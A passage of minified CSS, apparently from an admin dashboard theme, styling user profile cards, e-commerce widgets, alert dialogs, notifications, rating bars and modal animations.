.certificated-badge { position: absolute; bottom: -5px; right: -5px; border-radius: 50%; width: 30px; height: 30px; background: #fff; padding: 5px 3px; } .user-card .user-about-block .certificated-badge .bg-icon { font-size: 22px; } .user-card .user-about-block .certificated-badge .front-icon { font-size: 11px; position: absolute; top: 11px; left: 9px; } .user-card .hover-data { position: absolute; z-index: 3; top: 0; left: 0; width: 100%; height: 100%; background: rgba(36, 46, 62, 0.92); text-align: center; display: flex; align-items: center; justify-content: center; transform: scale(0); transition: all 0.3s ease-in-out; } .user-card:hover .hover-data { transform: scale(1); } .user-card .change-profile .dropdown-toggle::after { display: none; } .user-card .change-profile .profile-dp { position: relative; overflow: hidden; padding: 5px; width: 110px; height: 110px; border-radius: 50%; } .user-card .change-profile .profile-dp .overlay { position: absolute; top: 5px; left: 5px; width: calc(100% - 10px); height: calc(100% - 10px); border-radius: 50%; opacity: 0; z-index: 1; overflow: hidden; background: rgba(0, 0, 0, 0.4); transition: all 0.3s ease-in-out; } .user-card .change-profile .profile-dp .overlay span { background: rgba(0, 0, 0, 0.5); color: #fff; position: absolute; bottom: 0; width: 100%; text-align: center; border-top: 1px solid rgba(255, 255, 255, 0.4); padding: 0 0 5px; } .user-card .change-profile .profile-dp:hover .overlay { opacity: 1; } @media only screen and (max-width: 992px) { .user-card .user-about-block { margin-top: -10px; } .user-card .wid-80 { width: 60px; } .user-card .change-profile .profile-dp { width: 90px; height: 90px; } .user-card.user-card-2.shape-right .cover-img-block { -webkit-clip-path: none; clip-path: none; } .user-card .cover-img-block .change-cover .dropdown-toggle { padding: 5px 7px; } } .tab-content .btn.btn-sm.float-end i, .tab-content .btn-group-sm > .btn.float-end i { font-size: 14px; } .user-card-2 .cover-img-block { -webkit-clip-path: polygon(0 0, 100% 0%, 100% 100%, 0% 80%); clip-path: polygon(0 0, 100% 0%, 100% 100%, 0% 80%); } .user-card-2.shape-right .cover-img-block { -webkit-clip-path: polygon(0 0, 100% 0%, 100% 80%, 0% 100%); clip-path: polygon(0 0, 100% 0%, 100% 80%, 0% 100%); } .user-card-2.shape-center .cover-img-block { -webkit-clip-path: polygon(0 0, 100% 0%, 100% 80%, 50% 100%, 0% 80%); clip-path: polygon(0 0, 100% 0%, 100% 80%, 50% 100%, 0% 80%); } .user-card-3 .certificated-badge { position: absolute; bottom: 5px; right: 5px; border-radius: 50%; width: 40px; height: 40px; background: #fff; padding: 5px 3px; } .user-card-3 .certificated-badge .bg-icon { font-size: 30px; } .user-card-3 .certificated-badge .front-icon { font-size: 14px; position: absolute; top: 14px; left: 13px; } .user-card-3 .social-top-link { position: absolute; top: 20px; left: 20px; } .user-card-3.social-hover .social-top-link { top: 20px; left: 20px; overflow: hidden; } .user-card-3.social-hover .social-top-link .btn, .user-card-3.social-hover .social-top-link li { margin-left: -100px; transition: all 0.2s ease-in-out; } .user-card-3.social-hover .social-top-link .btn:nth-child(1), .user-card-3.social-hover .social-top-link li:nth-child(1) { transition-delay: 0.05s; } .user-card-3.social-hover .social-top-link .btn:nth-child(2), .user-card-3.social-hover .social-top-link li:nth-child(2) { transition-delay: 0.1s; } .user-card-3.social-hover .social-top-link .btn:nth-child(3), .user-card-3.social-hover .social-top-link li:nth-child(3) { transition-delay: 0.15s; } .user-card-3.social-hover .social-top-link .btn:nth-child(4), .user-card-3.social-hover .social-top-link li:nth-child(4) { transition-delay: 0.2s; } .user-card-3.social-hover .social-top-link .btn:nth-child(5), .user-card-3.social-hover .social-top-link li:nth-child(5) { transition-delay: 0.25s; } .user-card-3.social-hover .social-top-link .btn:nth-child(6), .user-card-3.social-hover .social-top-link li:nth-child(6) { transition-delay: 0.3s; } .user-card-3.social-hover .social-top-link .btn:nth-child(7), .user-card-3.social-hover .social-top-link li:nth-child(7) { transition-delay: 0.35s; } .user-card-3.social-hover .social-top-link .btn:nth-child(8), .user-card-3.social-hover .social-top-link li:nth-child(8) { transition-delay: 0.4s; } .user-card-3.social-hover .social-top-link .btn:nth-child(9), .user-card-3.social-hover .social-top-link li:nth-child(9) { transition-delay: 0.45s; } .user-card-3.social-hover .social-top-link .btn:nth-child(10), .user-card-3.social-hover .social-top-link li:nth-child(10) { transition-delay: 0.5s; } .user-card-3.social-hover:hover .social-top-link .btn, .user-card-3.social-hover:hover .social-top-link li { margin-left: 0; } .user-profile { margin-top: -45px; margin-left: -30px; margin-right: -30px; background: #fff; } .user-profile .card-body { position: relative; z-index: 1; box-shadow: 0 2px 4px -2px rgba(54, 80, 138, 0.3); } .user-profile .card-body .overlay > span { cursor: pointer; } .user-profile .cover-img-block:hover > img { filter: grayscale(1) blur(1px); } .user-profile .profile-dp .overlay { text-align: left; } .user-profile .user-about-block .certificated-badge { bottom: 8px; right: 0; z-index: 2; } .user-profile .profile-tabs { border-bottom: 0; margin-top: 30px; } .user-profile .profile-tabs .nav-item { margin-bottom: -0px; } .user-profile .profile-tabs .nav-item .nav-link { position: relative; } .user-profile .profile-tabs .nav-item .nav-link:after { content: ""; background: #51459d; position: absolute; transition: all 0.3s ease-in-out; left: 50%; right: 50%; bottom: -1px; height: 2px; border-radius: 2px 2px 0 0; } .user-profile .profile-tabs .nav-link:hover { border-color: transparent; } .user-profile .profile-tabs .nav-item.show .nav-link, .user-profile .profile-tabs .nav-link.active { border-color: transparent; } .user-profile .profile-tabs .nav-item.show .nav-link:after, .user-profile .profile-tabs .nav-link.active:after { left: 0; right: 0; } @media only screen and (max-width: 575px) { .user-profile { margin-top: -30px; margin-left: -15px; margin-right: -15px; } } .user-profile-list { background: transparent; box-shadow: none; } .user-profile-list table { border-spacing: 0 10px; border-collapse: separate; width: calc(100% - 10px); margin: 0 5px; } .user-profile-list table tbody tr { box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); border-radius: 10px; position: relative; } .user-profile-list table tbody tr .overlay-edit { position: absolute; opacity: 0; top: 0; right: 0; background: #51459d; bottom: 0; left: 0; display: flex; align-items: center; justify-content: center; } .user-profile-list table tbody tr .overlay-edit .btn { margin: 0 3px; width: 35px; height: 35px; display: inline-flex; align-items: center; justify-content: center; } .user-profile-list table tbody tr:hover { box-shadow: 0 0 6px 0 #51459d; } .user-profile-list table tbody tr:hover td { cursor: pointer; color: #fff; background: #51459d; } .user-profile-list table tbody tr:hover td h6, .user-profile-list table tbody tr:hover td .h6 { color: #fff; } .user-profile-list table tbody tr:hover td .overlay-edit { opacity: 1; } .user-profile-list table tr td, .user-profile-list table tr th { vertical-align: middle; border: none; } .user-profile-list table tr td { background: #fff; position: relative; } .user-profile-list table tr td:first-child { border-top-left-radius: 10px; border-bottom-left-radius: 10px; } .user-profile-list table tr td:last-child { border-top-right-radius: 10px; border-bottom-right-radius: 10px; } .list-pills.nav-pills .nav-link.active, .list-pills.nav-pills .show > .nav-link { color: #51459d; border-color: #f1f1f1; background: #f8f9fa; } .list-pills.nav-pills .nav-link.active .h5, .list-pills.nav-pills .nav-link.active .h6, .list-pills.nav-pills .show > .nav-link .h5, .list-pills.nav-pills .show > .nav-link .h6 { color: #51459d; } .widget-profile-card-1 { position: relative; margin-bottom: 50px; } .widget-profile-card-1 .middle-user { position: absolute; left: 0; right: 0; width: 100%; margin: 0 auto; text-align: center; bottom: -60px; } .widget-profile-card-1 .middle-user img { width: 115px; border-radius: 50%; } .widget-profile-card-1 ~ .card-footer [class*=col-] { border-right: 1px solid #fff; } .widget-profile-card-1 ~ .card-footer [class*=col-]:last-child { border: none; } @media only screen and (max-width: 767px) { .widget-profile-card-1 ~ .card-footer [class*=col-]:nth-child(2) { border: 0; } .widget-profile-card-1 ~ .card-footer [class*=col-]:last-child { margin-top: 10px; } } .widget-profile-card-2 img.user-img { width: 115px; } .widget-profile-card-2 a { color: #fff; transition: all ease-in 0.3s; } .widget-profile-card-2 a:hover { opacity: 0.7; } .widget-profile-card-3 { background-image: url("../images/widget/slider5.jpg"); background-size: cover; padding: 50px 0; text-align: center; } .widget-profile-card-3 img { width: 120px; border-radius: 50%; } .social-res-card .progress { height: 6px; } .profile-card { position: relative; min-height: 410px; overflow: hidden; } .profile-card img { width: 100%; position: absolute; top: 0; left: 0; } .profile-card .card-body { text-align: center; color: #fff; position: absolute; bottom: 0; text-align: center; width: 100%; background: linear-gradient(transparent, rgba(0, 0, 0, 0.72)); } .profile-card .card-body h3, .profile-card .card-body .h3 { font-weight: 600; } .profile-card ~ .card-footer [class*="col-"] { padding: 10px; border-right: 1px solid rgba(255, 255, 255, 0.57); } .profile-card ~ .card-footer [class*="col-"] h4, .profile-card ~ .card-footer [class*="col-"] .h4 { font-size: 18px; font-weight: 600; } .profile-card ~ .card-footer [class*="col-"]:last-child { border: none; } .profile-card ~ .card-footer [class*="col-"] span { text-transform: uppercase; } @media only screen and (max-width: 767px) { .profile-card ~ .card-footer [class*="col-"]:nth-child(2) { border: none; } } .blur-user-card { color: #fff; text-align: center; padding-top: 45px; background-image: url("../images/widget/blur-bg.png"); background-size: cover; } .blur-user-card h3, .blur-user-card .h3 { margin-top: 10px; font-size: 30px; font-weight: 600; } .blur-user-card p { font-size: 18px; font-weight: 300; } .blur-user-card .blur-footer [class*="col-"] { padding: 1em; border-right: 1px solid #fff; margin-top: 30px; margin-bottom: 30px; } .blur-user-card .blur-footer [class*="col-"]:last-child { border-right: none; } @media only screen and (max-width: 767px) { .blur-user-card .blur-footer [class*="col-"]:nth-child(2) { border: 0; } .blur-user-card .blur-footer [class*="col-"]:last-child { margin-top: 0; padding-top: 0; } } .skill-mlt-select + .select2-container { display: block; } /**====== user card css end ======**/ /** ===================== e-commerce css start ========================== **/ .prod-likes { position: relative; padding: 0; } .prod-likes .prod-likes-icon { stroke: rgba(41, 50, 64, 0.5); fill: rgba(41, 50, 64, 0.2); z-index: 3; } .prod-likes .form-check-input { width: 20px; height: 20px; margin: 0; position: absolute; top: 0; left: 0; opacity: 0; z-index: 5; cursor: pointer; } .prod-likes .form-check-input:checked + .prod-likes-icon { stroke: #ff3a6e; fill: rgba(255, 58, 110, 0.8); animation: _26Tc6u 0.2s ease 0.3s forwards; } .product-sticky { top: calc(70px + 60px); } #checkoutaddress .form-check .h-nonchecked { display: none; } #checkoutaddress .form-check .form-check-input:checked + .form-check-label .h-nonchecked { display: block; } .ecomm-desc-btn { margin-left: -25px; margin-right: -25px; } .e-comm-card { overflow: hidden; } .e-comm-card .prod-content { transition: all 0.2s ease-in-out; background: #ffffff; } .e-comm-card .prod-content .h-data { position: absolute; top: calc(100% - 5px); } .e-comm-card:hover .prod-content { transform: translateY(-70px); } .filter-data { position: relative; } .filter-data .overlay-div { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: rgba(255, 255, 255, 0.8); padding: 100px 0; text-align: center; } .dash-like { position: absolute; z-index: 1; top: -5px; left: 10px; } .dash-like .dash-dots:nth-child(4):before { transform: translate3d(-4px, -5px, 0); } .dash-like .dash-dots:nth-child(4):after { transform: translate3d(4px, -5px, 0) scale(0.7); } .dash-like .dash-dots:nth-child(3):before { transform: translate3d(-5px, -4px, 0); } .dash-like .dash-dots:nth-child(3):after { transform: translate3d(-5px, 4px, 0) scale(0.7); } .dash-like .dash-dots:nth-child(2):before { transform: translate3d(-4px, 5px, 0); } .dash-like .dash-dots:nth-child(2):after { transform: translate3d(4px, 5px, 0) scale(0.7); } .dash-like .dash-dots:first-child:before { transform: translate3d(5px, -4px, 0); } .dash-like .dash-dots:first-child:after { transform: translate3d(5px, 4px, 0) scale(0.7); } .dash-like .dash-dots:after { background: #ff3a6e; } .dash-like .dash-dots:before { background: #ffa21d; } .dash-like .like-wrapper { position: relative; display: inline-flex; } .dash-like .dash-group { position: absolute; top: 50%; left: 50%; opacity: 0; } .dash-like .dash-dots:after, .dash-like .dash-dots:before { content: ""; position: absolute; width: 5px; height: 5px; margin: -2px; border-radius: 50%; } .dash-like.dash-like-animate .dash-dots:first-child:after { animation: _3z13ic 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(4):before { animation: u9Mhrv 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(4):after { animation: _2ERa1V 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(3):before { animation: _3TtatR 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(3):after { animation: _3UC1np 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(2):before { animation: _33IoP_ 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(2):after { animation: _2D5htx 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-group { animation: r9OBmc 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:first-child:before { animation: _18Xo9B 0.6s ease 0.3s; } @keyframes _26Tc6u { 0% { transform: translateZ(0) scale(0); } 40% { transform: translateZ(0) scale(1.2); } to { transform: translateZ(0) scale(1); } } @keyframes _3d25CI { 0% { transform: translateZ(0) scale(0); opacity: 1; } to { transform: translateZ(0) scale(1); opacity: 0; } } @keyframes r9OBmc { 0% { opacity: 0; } 50% { opacity: 1; } to { opacity: 0; } } @keyframes _18Xo9B { to { transform: translate3d(22px, -4px, 0); } } @keyframes _3z13ic { to { transform: translate3d(14px, 4px, 0) scale(0.7); } } @keyframes _33IoP_ { to { transform: translate3d(-4px, 22px, 0); } } @keyframes _2D5htx { to { transform: translate3d(4px, 18px, 0) scale(0.7); } } @keyframes _3TtatR { to { transform: translate3d(-22px, -4px, 0); } } @keyframes _3UC1np { to { transform: translate3d(-18px, 4px, 0) scale(0.7); } } @keyframes u9Mhrv { to { transform: translate3d(-4px, -22px, 0); } } @keyframes _2ERa1V { to { transform: translate3d(4px, -18px, 0) scale(0.7); } } /**====== e-commerce css end ======**/ .swal-icon--error { border-color: #ff3a6e; } .swal-icon--error__line { background-color: #ff3a6e; } .swal-icon--warning { border-color: #ffa21d; } .swal-icon--warning__body { background-color: #ffa21d; } .swal-icon--warning__dot { background-color: #ffa21d; } @keyframes pulseWarning { 0% { border-color: #ffac37; } to { border-color: #ffa21d; } } .swal-icon--success { border-color: #6fd943; } .swal-icon--success__ring { border: 4px solid rgba(111, 217, 67, 0.2); } .swal-icon--success__line { background-color: #6fd943; } .swal-icon--info { border-color: #3ec9d6; } .swal-icon--info:after, .swal-icon--info:before { background-color: #3ec9d6; } .swal-title { color: rgba(0, 0, 0, 0.65); } .swal-text { color: rgba(0, 0, 0, 0.64); } .swal-button { background-color: #51459d; margin: 0 10px; } .swal-button:not([disabled]):hover { background-color: darkslateblue; } .swal-button:active { background-color: darkslateblue; } .swal-button:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(81, 69, 157, 0.29); } .swal-button--cancel { color: #555; background-color: #efefef; margin: 0 10px; } .swal-button--cancel:not([disabled]):hover { background-color: #e8e8e8; } .swal-button--cancel:active { background-color: #d7d7d7; } .swal-button--cancel:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(116, 136, 150, 0.29); } .swal-button--danger { background-color: #ff3a6e; margin: 0 10px; } .swal-button--danger:not([disabled]):hover { background-color: #ff215b; } .swal-button--danger:active { background-color: #ff215b; } .swal-button--danger:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(255, 58, 110, 0.29); } .swal-footer { text-align: center; } .swal-content__input:focus { border-color: rgba(81, 69, 157, 0.29); } .swal-content__textarea:focus { border-color: rgba(81, 69, 157, 0.29); } .swal2-popup.swal2-toast .swal2-styled:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(50, 100, 150, 0.4); } .swal2-popup.swal2-toast .swal2-success { border-color: #6fd943 !important; } .swal2-loader { border-color: #51459d transparent #51459d transparent !important; } .swal2-styled.swal2-confirm { background-color: #51459d !important; } .swal2-styled.swal2-deny { background-color: #ff3a6e !important; } .swal2-styled:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(81, 69, 157, 0.4) !important; } .swal2-close:hover { color: #ff3a6e !important; } .swal2-content { color: #545454; } .swal2-file, .swal2-input, .swal2-textarea { border: 1px solid #d9d9d9; } .swal2-file.swal2-inputerror, .swal2-input.swal2-inputerror, .swal2-textarea.swal2-inputerror { border-color: #ff3a6e !important; box-shadow: 0 0 2px #ff3a6e !important; } .swal2-file:focus, .swal2-input:focus, .swal2-textarea:focus { border: 1px solid #b4dbed; box-shadow: 0 0 3px #c4e6f5; } .swal2-validation-message { background: #f0f0f0; color: #666; } .swal2-validation-message::before { background-color: #ff3a6e; } .swal2-icon.swal2-error { border-color: #ff87a6 !important; color: #ff3a6e !important; } .swal2-icon.swal2-error [class^=swal2-x-mark-line] { background-color: #ff3a6e !important; } .swal2-icon.swal2-warning { border-color: #ffc16a !important; color: #ffa21d !important; } .swal2-icon.swal2-info { border-color: #7ddbe3 !important; color: #3ec9d6 !important; } .swal2-icon.swal2-question { border-color: #9b7cd4 !important; color: #6f42c1 !important; } .swal2-icon.swal2-success { border-color: #a0e683 !important; color: #6fd943 !important; } .swal2-icon.swal2-success .swal2-success-ring { border: 0.25em solid rgba(111, 217, 67, 0.3) !important; } .swal2-icon.swal2-success [class^=swal2-success-line] { background-color: #6fd943 !important; } .swal2-progress-steps .swal2-progress-step { background: #51459d; color: #fff; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step { background: #51459d; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step { background: #3ec9d6; color: #fff; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step-line { background: #3ec9d6; } .swal2-progress-steps .swal2-progress-step-line { background: #51459d; } .swal2-actions .btn { margin: 0 10px; } .lb-cancel { background: url("../images/loading.gif") no-repeat; } .lb-nav a.lb-prev { background: url("../images/prev.png") left 48% no-repeat; } .lb-nav a.lb-next { background: url("../images/next.png") right 48% no-repeat; } .lb-data .lb-caption a { color: #51459d; } .lb-data .lb-close { background: url("../images/close.png") top right no-repeat; } .alert-dismissable .close, .alert-dismissible .close { color: inherit; text-shadow: none; } @keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } .alert-inverse { background-color: #333; border-color: transparent; color: #fff; } .alert-inverse .close { position: relative; top: -2px; right: -21px; color: #fff; text-shadow: none; } .alert-inverse .alert-link { color: #e6e6e6; } .growl-animated.alert-inverse { box-shadow: 0 0 5px rgba(51, 51, 51, 0.5); } .growl-animated.alert-info { box-shadow: 0 0 5px rgba(81, 69, 157, 0.5); } .growl-animated.alert-success { box-shadow: 0 0 5px rgba(111, 217, 67, 0.5); } .growl-animated.alert-warning { box-shadow: 0 0 5px rgba(255, 162, 29, 0.5); } .growl-animated.alert-danger { box-shadow: 0 0 5px rgba(255, 58, 110, 0.5); } [data-notify="progressbar"] { margin-bottom: 0; position: absolute; bottom: 0; left: 0; width: 100%; height: 5px; } .notifier-container { z-index: 1029; font-family: "Open Sans", sans-serif; width: 400px; max-width: 98%; top: 15px; } .notifier { padding: calc(25px - 5px) calc(25px - 5px); border-radius: 10px; } .notifier .notifier-title { font-size: 16px; font-weight: 600; margin-bottom: 2px; } .notifier .notifier-body { font-size: 0.875rem; } .notifier .notifier-img .img { width: 40px; height: 40px; } .notifier .notifier-close:focus, .notifier .notifier-close:hover { color: #ff3a6e; background: transparent; } .notifier.primary { border-left-color: #51459d; } .notifier.secondary { border-left-color: #6c757d; } .notifier.success { border-left-color: #6fd943; } .notifier.info { border-left-color: #3ec9d6; } .notifier.warning { border-left-color: #ffa21d; } .notifier.danger { border-left-color: #ff3a6e; } .notifier.light { border-left-color: #f8f9fa; } .notifier.dark { border-left-color: #1c232f; } [ui-pnotify].ui-pnotify .brighttheme { border-radius: 0; } [ui-pnotify].ui-pnotify .brighttheme.ui-pnotify-container { padding: 1.3rem; } [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-confirm, [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-text, [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-title { margin-left: 1.8rem; } [dir=rtl] [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-confirm, [dir=rtl] [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-text, [dir=rtl] [ui-pnotify].ui-pnotify-with-icon .brighttheme .ui-pnotify-title { margin-right: 1.8rem; margin-left: 0; } [ui-pnotify].ui-pnotify .brighttheme-icon-notice:after { content: "!"; } [ui-pnotify].ui-pnotify .brighttheme-icon-info:after { content: "i"; } [ui-pnotify].ui-pnotify .brighttheme-icon-success:after { content: "\002713"; } [ui-pnotify].ui-pnotify .brighttheme-icon-error:after { content: "!"; } [ui-pnotify].ui-pnotify .brighttheme-icon-closer:after { content: "\002715"; } [ui-pnotify].ui-pnotify .brighttheme-icon-sticker:after { top: -1px; content: "\002016"; } [ui-pnotify].ui-pnotify .brighttheme-icon-sticker.brighttheme-icon-stuck:after { content: "\00003E"; } [data-pnotify].custom-elem { font-family: Arial, Helvetica, sans-serif; font-size: 10pt; line-height: 1.1; } [data-pnotify] .custom-container { background-color: #404040; background-image: none; border: none; border-radius: 10px; padding: 15px; font-size: 15px; } [data-pnotify] .custom-title, [data-pnotify] .custom-text { margin-left: 50px; color: #FFF; } [data-pnotify] .custom-title { font-weight: bold; font-size: 15px; } [data-pnotify] .custom-icon { color: #FFA; } .br-theme-bars-1to10 .br-widget a { background-color: #ffe1b6; } .br-theme-bars-1to10 .br-widget a.br-active, .br-theme-bars-1to10 .br-widget a.br-selected { background-color: #ffa21d; } .br-theme-bars-1to10 .br-widget .br-current-rating { color: #ffa21d; } .br-theme-bars-1to10 .br-readonly a.br-active, .br-theme-bars-1to10 .br-readonly a.br-selected { background-color: #ffa21d; } .br-theme-bars-1to10 .br-readonly .br-current-rating { color: #ffcc83; } .br-theme-bars-horizontal .br-widget a { background-color: #ffe1b6; } .br-theme-bars-horizontal .br-widget a.br-active, .br-theme-bars-horizontal .br-widget a.br-selected { background-color: #ffa21d; } .br-theme-bars-horizontal .br-widget .br-current-rating { color: #ffa21d; } .br-theme-bars-horizontal .br-readonly a.br-active, .br-theme-bars-horizontal .br-readonly a.br-selected { background-color: #ffe1b6; } .br-theme-bars-horizontal .br-readonly .br-current-rating { color: #ffe1b6; } .br-theme-bars-movie .br-widget { height: auto; } .br-theme-bars-movie .br-widget a { background-color: #aba4d7; } .br-theme-bars-movie .br-widget a.br-active, .br-theme-bars-movie .br-widget a.br-selected { background-color: #51459d; } .br-theme-bars-movie .br-widget .br-current-rating { color: #51459d; } .br-theme-bars-movie .br-readonly a.br-active, .br-theme-bars-movie .br-readonly a.br-selected { background-color: #8a81c7; } .br-theme-bars-movie .br-readonly .br-current-rating { color: #8a81c7; } .br-theme-bars-pill .br-widget a { background-color: white; color: #6fd943; } .br-theme-bars-pill .br-widget a.br-active, .br-theme-bars-pill .br-widget a.br-selected { background-color: #6fd943; } .br-theme-bars-pill .br-readonly a.br-active, .br-theme-bars-pill .br-readonly a.br-selected { background-color: #8fe26d; } .br-theme-bars-reversed .br-widget a { background-color: #fbfefe; color: #3ec9d6; } .br-theme-bars-reversed .br-widget a.br-active, .br-theme-bars-reversed .br-widget a.br-selected { background-color: #3ec9d6; } .br-theme-bars-reversed .br-widget .br-current-rating { color: #3ec9d6; width: 100%; padding: 0; margin-top: 15px; } .br-theme-bars-reversed .br-readonly a.br-active, .br-theme-bars-reversed .br-readonly a.br-selected { background-color: #68d5df; } .br-theme-bars-reversed .br-readonly .br-current-rating { color: #68d5df; } .br-theme-bars-square .br-widget a { border: 2px solid #ffbacc; color: #ffbacc; } .br-theme-bars-square .br-widget a.br-active, .br-theme-bars-square .br-widget a.br-selected { border: 2px solid #ff3a6e; color: #ff3a6e; } .br-theme-bars-square .br-readonly a.br-active, .br-theme-bars-square .br-readonly a.br-selected { border: 2px solid #ff6d94; color: #ff6d94; } .br-theme-bootstrap-stars .br-widget a:after { color: #eceffa; } .br-theme-bootstrap-stars .br-widget a.br-active:after, .br-theme-bootstrap-stars .br-widget a.br-selected:after { color: #ffa21d; } .br-theme-css-stars .br-widget a:after { color: #eceffa; } .br-theme-css-stars .br-widget a.br-active:after, .br-theme-css-stars .br-widget a.br-selected:after { color: #ffa21d; } .br-theme-fontawesome-stars .br-widget a { font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 18px; } .br-theme-fontawesome-stars .br-widget a:after { content: "\f005"; color: #eceffa; } .br-theme-fontawesome-stars .br-widget a.br-active:after, .br-theme-fontawesome-stars .br-widget a.br-selected:after { color: #ffa21d; } .br-theme-fontawesome-stars-o .br-widget a { font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 18px; } .br-theme-fontawesome-stars-o .br-widget a:after { content: "\f005"; color: #eceffa; } .br-theme-fontawesome-stars-o .br-widget a.br-active:after, .br-theme-fontawesome-stars-o .br-widget a.br-selected:after { color: #6fd943; } .br-theme-fontawesome-stars-o .br-widget a.br-fractional:after { content: "\f5c0"; color: #6fd943; } .modal.fade.modal-animate { /* Effect 1: Fade in and scale up */ /* Effect 2: Slide from the right */ /* Effect 3: Slide from the bottom */ /* Effect 4: Newspaper */ /* Effect 5: fall */ /* Effect 6: side fall */ /* Effect 7: slide and stick to top */ /* Effect 8: 3D flip horizontal */ /* Effect 9: 3D flip vertical */ /* Effect 10: 3D sign */ /* Effect 11: Super scaled */ /* Effect 12: Just me */ /* Effect 13: 3D slit */ /* Effect 14: 3D Rotate from bottom */ /* Effect 15: 3D Rotate in from left */ /* Effect 16: Blur */ /* Effect 17: Slide in from bottom with perspective on container */ /* Effect 18: Slide from right with perspective on container */ /* Effect 19: Slip in from the top with perspective on container */ } .modal.fade.modal-animate .modal-dialog { display: flex; align-items: center; height: calc(100% - 3.5rem); } .modal.fade.modal-animate.anim-fade-in-scale .modal-dialog { transform: scale(0.7); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-fade-in-scale.show .modal-dialog { transform: none; opacity: 1; } .modal.fade.modal-animate.anim-slide-in-right .modal-dialog { transform: translateX(20%); opacity: 0; transition: all 0.3s cubic-bezier(0.25, 0.5, 0.5, 0.9); } .modal.fade.modal-animate.anim-slide-in-right.show .modal-dialog { transform: translateX(0); opacity: 1; } .modal.fade.modal-animate.anim-slide-in-bottom .modal-dialog { transform: translateY(20%); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-slide-in-bottom.show .modal-dialog { transform: translateY(0); opacity: 1; } .modal.fade.modal-animate.anim-newspaper .modal-dialog { transform: scale(0) rotate(720deg); opacity: 0; transition: all 0.5s; } .modal.fade.modal-animate.anim-newspaper.show .modal-dialog { transform: none; opacity: 1; } .modal.fade.modal-animate.anim-fall { perspective: 1300px; } .modal.fade.modal-animate.anim-fall .modal-dialog { transform-style: preserve-3d; transform: translateZ(600px) rotateX(20deg); opacity: 0; transition: all 0.5s; } .modal.fade.modal-animate.anim-fall.show .modal-dialog { transition: all 0.3s ease-in; transform: translateZ(0px) rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-side-fall { perspective: 1300px; } .modal.fade.modal-animate.anim-side-fall .modal-dialog { transform-style: preserve-3d; transform: translate(30%) translateZ(600px) rotate(10deg); opacity: 0; transition: all 0.3s ease-in; } .modal.fade.modal-animate.anim-side-fall.show .modal-dialog { transform: translate(0%) translateZ(0) rotate(0deg); opacity: 1; } .modal.fade.modal-animate.anim-sticky-up .modal-dialog { align-items: flex-start; margin-top: 0; transform: translateY(-200%); transition: all 0.3s; opacity: 0; } .modal.fade.modal-animate.anim-sticky-up.show .modal-dialog { transform: translateY(0%); border-radius: 0 0 3px 3px; opacity: 1; } .modal.fade.modal-animate.anim-3d-flip-horizontal { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-flip-horizontal .modal-dialog { transform-style: preserve-3d; transform: rotateY(-70deg); transition: all 0.3s; opacity: 0; } .modal.fade.modal-animate.anim-3d-flip-horizontal.show .modal-dialog { transform: rotateY(0deg); opacity: 1; } .modal.fade.modal-animate.anim-3d-flip-vertical { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-flip-vertical .modal-dialog { transform-style: preserve-3d; transform: rotateX(-70deg); transition: all 0.3s; opacity: 0; } .modal.fade.modal-animate.anim-3d-flip-vertical.show .modal-dialog { transform: rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-3d-sign { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-sign .modal-dialog { transform-style: preserve-3d; transform: rotateX(-60deg); transform-origin: 50% 0; opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-3d-sign.show .modal-dialog { transform: rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-super-scaled .modal-dialog { transform: scale(2); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-super-scaled.show .modal-dialog { transform: scale(1); opacity: 1; } .modal.fade.modal-animate.anim-just-me { background: #fff; } .modal.fade.modal-animate.anim-just-me .modal-dialog { transform: scale(0.8); opacity: 0; transition: all 0.3s; background: transparent; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content { border: none; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content .modal-header { background: transparent !important; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content .modal-header .btn-close.btn-close-white { filter: none; } .modal.fade.modal-animate.anim-just-me .modal-dialog .modal-content .modal-header .text-white.modal-title { color: #525b69 !important; } .modal.fade.modal-animate.anim-just-me.show .modal-dialog { transform: scale(1); opacity: 1; } .modal.fade.modal-animate.anim-3d-slit { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-slit .modal-dialog { transform-style: preserve-3d; transform: translateZ(-3000px) rotateY(90deg); opacity: 0; } .modal.fade.modal-animate.anim-3d-slit.show .modal-dialog { animation: slit 0.7s forwards ease-out; } 